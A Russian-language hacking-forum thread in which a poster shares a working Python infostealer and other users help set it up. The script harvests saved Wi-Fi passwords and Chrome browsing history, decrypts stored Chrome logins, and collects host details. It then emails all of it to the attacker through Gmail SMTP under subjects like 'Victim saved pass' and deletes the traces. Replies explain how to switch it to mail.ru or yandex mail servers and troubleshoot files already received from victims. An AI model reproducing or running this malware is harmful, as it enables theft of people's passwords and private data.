HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Инструменты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.03.2020, 18:24
GunQuest
Новичок
Регистрация: 27.11.2019
Сообщений: 4
С нами: 3402326

Репутация: 0
По умолчанию

Стиллер с отправкой паролей на электронную почту. Очень прост в использовании.

Python:


Код:
#!/usr/bin/python
import
smtplib
import
base64
,
os
,
sys
,
re
import
sqlite3
import
socket
import
platform
import
uuid

sender
=
''
reciever
=
''
password
=
''
# Dont change this
marker
=
"Morwy"
def
wifipass
(
)
:
def
get_wlans
(
)
:
data
=
os
.
popen
(
"netsh wlan show profiles"
)
.
read
(
)
wifi
=
re
.
compile
(
"All User Profile\s*:.(.*)"
)
return
wifi
.
findall
(
data
)
def
get_pass
(
network
)
:
try
:
wlan
=
os
.
popen
(
"netsh wlan show profile "
+
str
(
network
.
replace
(
" "
,
"*"
)
)
+
" key=clear"
)
.
read
(
)
pass_regex
=
re
.
compile
(
"Key Content\s*:.(.*)"
)
return
pass_regex
.
search
(
wlan
)
.
group
(
1
)
except
:
return
" "
f
=
open
(
"wifi.txt"
,
"w"
)
for
wlan
in
get_wlans
(
)
:
f
.
write
(
"-----------\n"
+
" SSID : "
+
wlan
+
"\n Password : "
+
get_pass
(
wlan
)
)
f
.
close
(
)
wifipass
(
)
################ CHROME ################
################  CODE  ################
################  HERE  ################
def
history
(
)
:
import
operator
from
collections
import
OrderedDict
#import matplotlib.pyplot as plt
def
parse
(
url
)
:
try
:
parsed_url_components
=
url
.
split
(
'//'
)
sublevel_split
=
parsed_url_components
[
1
]
.
split
(
'/'
,
1
)
domain
=
sublevel_split
[
0
]
.
replace
(
"www."
,
""
)
return
domain
except
IndexError
:
print
(
"URL format error!"
)
def
analyze
(
results
)
:
b
=
open
(
"chrome1.txt"
,
"w"
)
for
site
,
count
in
sites_count_sorted
.
items
(
)
:
#print site, count
b
.
write
(
site
+
"\n"
)
#path to user's history database (Chrome)
b
.
close
(
)
data_path
=
os
.
path
.
expanduser
(
'~'
)
+
r"\AppData\Local\Google\Chrome\User Data\Default"
files
=
os
.
listdir
(
data_path
)
history_db
=
os
.
path
.
join
(
data_path
,
'history'
)
#querying the db
c
=
sqlite3
.
connect
(
history_db
)
cursor
=
c
.
cursor
(
)
select_statement
=
"SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor
.
execute
(
select_statement
)
results
=
cursor
.
fetchall
(
)
sites_count
=
{
}
for
url
,
count
in
results
:
url
=
parse
(
url
)
if
url
in
sites_count
:
sites_count
[
url
]
+=
1
else
:
sites_count
[
url
]
=
1
sites_count_sorted
=
OrderedDict
(
sorted
(
sites_count
.
items
(
)
,
key
=
operator
.
itemgetter
(
1
)
,
reverse
=
True
)
)
analyze
(
sites_count_sorted
)
################ CHROME ################
################  CODE  ################
################  HERE  ################
history
(
)
def
chrome
(
)
:
import
os
,
sqlite3
,
win32crypt
   data
=
os
.
path
.
expanduser
(
'~'
)
+
r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
connection
=
sqlite3
.
connect
(
data
)
cursor
=
connection
.
cursor
(
)
cursor
.
execute
(
'SELECT action_url, username_value, password_value FROM logins'
)
final_data
=
cursor
.
fetchall
(
)
a
=
open
(
"chrome.txt"
,
"w"
)
a
.
write
(
"Extracted chrome passwords :\n"
)
for
website_data
in
final_data
:
password
=
win32crypt
.
CryptUnprotectData
(
website_data
[
2
]
,
None
,
None
,
None
,
0
)
[
1
]
one
=
"Website  : "
+
str
(
website_data
[
0
]
)
two
=
"Username : "
+
str
(
website_data
[
1
]
)
three
=
"Password : "
+
str
(
password
)
a
.
write
(
one
+
"\n"
+
two
+
"\n"
+
three
)
a
.
write
(
"\n"
+
"====="
*
10
+
"\n"
)
a
.
close
(
)
chrome
(
)
################  EMAIL ################
################  CODE  ################
################  HERE  ################
filename
=
"wifi.txt"
fo
=
open
(
filename
,
"rb"
)
filecontent
=
fo
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim
"""
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim wifi
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
fo
.
close
(
)
os
.
remove
(
"wifi.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)
#################################################
filename
=
"chrome1.txt"
fo1
=
open
(
filename
,
"rb"
)
filecontent
=
fo1
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim - History
"""
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim chrome history
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
#print "Successfully sent email"
fo1
.
close
(
)
os
.
remove
(
"chrome1.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)
###########################################
filename
=
"chrome.txt"
fo
=
open
(
filename
,
"rb"
)
filecontent
=
fo
.
read
(
)
encodedcontent
=
base64
.
b64encode
(
filecontent
)
body
=
"""
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Pocessor: %s
System OS: %s
Release: %s
Version: %s
"""
%
(
socket
.
gethostname
(
)
,
socket
.
getfqdn
(
)
,
sys
.
platform
,
platform
.
machine
(
)
,
platform
.
node
(
)
,
platform
.
platform
(
)
,
platform
.
processor
(
)
,
platform
.
system
(
)
,
platform
.
release
(
)
,
platform
.
version
(
)
)
###########
part1
=
"""From: Victim <>
To: Filip <>
Subject: Victim saved pass
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
"""
%
(
marker
,
marker
)
part2
=
"""Content-Type: text/plain
Content-Transfer-Encoding:8bit

%s
--%s
"""
%
(
body
,
marker
)
part3
=
"""Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s

%s
--%s--
"""
%
(
filename
,
filename
,
encodedcontent
,
marker
)
message
=
part1
+
part2
+
part3
try
:
smtpObj
=
smtplib
.
SMTP
(
'smtp.gmail.com:587'
)
smtpObj
.
starttls
(
)
smtpObj
.
login
(
sender
,
password
)
smtpObj
.
sendmail
(
sender
,
reciever
,
message
)
fo
.
close
(
)
os
.
remove
(
"chrome.txt"
)
except
Exception
:
print
(
"Error: unable to send email"
)
Просто скачайте файл InfoStealer - Github edition .py

И измените все 3 параметра на свои: отправитель
Код:
= 'Login@gmail.com

'

Код:
reciever = 'receiver@gmail.com'
пароль = «ваш пароль»

Готово!

P.S Это фикс какого-то не рабочего стиллера.

Внимание! Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите

Мой проект на гитхабе: Morwenns/Stealer
 
Ответить с цитированием

  #2  
Старый 13.03.2020, 12:41
Roman_Dev
Новичок
Регистрация: 12.03.2020
Сообщений: 0
С нами: 3249162

Репутация: 0
По умолчанию

Не плохо
 
Ответить с цитированием

  #3  
Старый 13.03.2020, 12:51
R3M1X
Новичок
Регистрация: 30.03.2020
Сообщений: 0
С нами: 3223264

Репутация: 0
По умолчанию

Цитата:

GunQuest сказал(а):

Стиллер с отправкой паролей на электронную почту. Очень прост в использовании

Отлично! Такой вопрос, данный стиллер работает со всеми почтами, или только с google?
 
Ответить с цитированием

  #4  
Старый 13.03.2020, 14:07
Butch_
Новичок
Регистрация: 12.03.2020
Сообщений: 0
С нами: 3248462

Репутация: 0
По умолчанию

Цитата:

R3M1X сказал(а):

данный стиллер работает со всеми почтами, или только с google?

Можно так же работать с mail.ru, yandex.ru, для этого нужно заменить:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')

для mail.ru на:
smtpObj = smtplib.SMTP('smtp.mail.ru:25')

для yandex.ru на:
smtpObj = smtplib.SMTP('smtp.yandex.ru:465')
 
Ответить с цитированием

  #5  
Старый 13.03.2020, 14:40
GunQuest
Новичок
Регистрация: 27.11.2019
Сообщений: 4
С нами: 3402326

Репутация: 0
По умолчанию

Цитата:

R3M1X сказал(а):

Отлично! Такой вопрос, данный стиллер работает со всеми почтами, или только с google?

Только с почтой google (для других почт нужно немного изменить код).

Если у кого то появятся вопросы - пишите, всем отвечу!
 
Ответить с цитированием

  #6  
Старый 20.03.2020, 09:52
PenLord
Новичок
Регистрация: 13.02.2020
Сообщений: 0
С нами: 3288763

Репутация: 0
По умолчанию

Цитата:

GunQuest сказал(а):

Если у кого то появятся вопросы - пишите, всем отвечу!

Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?
 
Ответить с цитированием

  #7  
Старый 20.03.2020, 10:04
GunQuest
Новичок
Регистрация: 27.11.2019
Сообщений: 4
С нами: 3402326

Репутация: 0
По умолчанию

Цитата:

Aimmisie сказал(а):

Получены файлы со стиллера, пришли на почту. Но прикол в том, что они приходят зашифрованными, как их расшифровать?

Открой арихив.
 
Ответить с цитированием

  #8  
Старый 20.03.2020, 13:32
PenLord
Новичок
Регистрация: 13.02.2020
Сообщений: 0
С нами: 3288763

Репутация: 0
По умолчанию

Цитата:

GunQuest сказал(а):

Открой арихив.

Какой архив?
 
Ответить с цитированием

  #9  
Старый 20.03.2020, 14:33
GunQuest
Новичок
Регистрация: 27.11.2019
Сообщений: 4
С нами: 3402326

Репутация: 0
По умолчанию

Цитата:

Aimmisie сказал(а):

Какой архив?

Скинь скрин, что тебе приходит на почту.
 
Ответить с цитированием

  #10  
Старый 20.03.2020, 19:35
PenLord
Новичок
Регистрация: 13.02.2020
Сообщений: 0
С нами: 3288763

Репутация: 0
По умолчанию

Цитата:

GunQuest сказал(а):

Скинь скрин, что тебе приходит на почту.

Уно моменто.

Цитата:

GunQuest сказал(а):

Скинь скрин, что тебе приходит на почту.

И так ещё с историей, хотя wifi нормально приходит, и если не отправлять сообщения по почте и открыть txt просто на пк - они читаются нормально.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.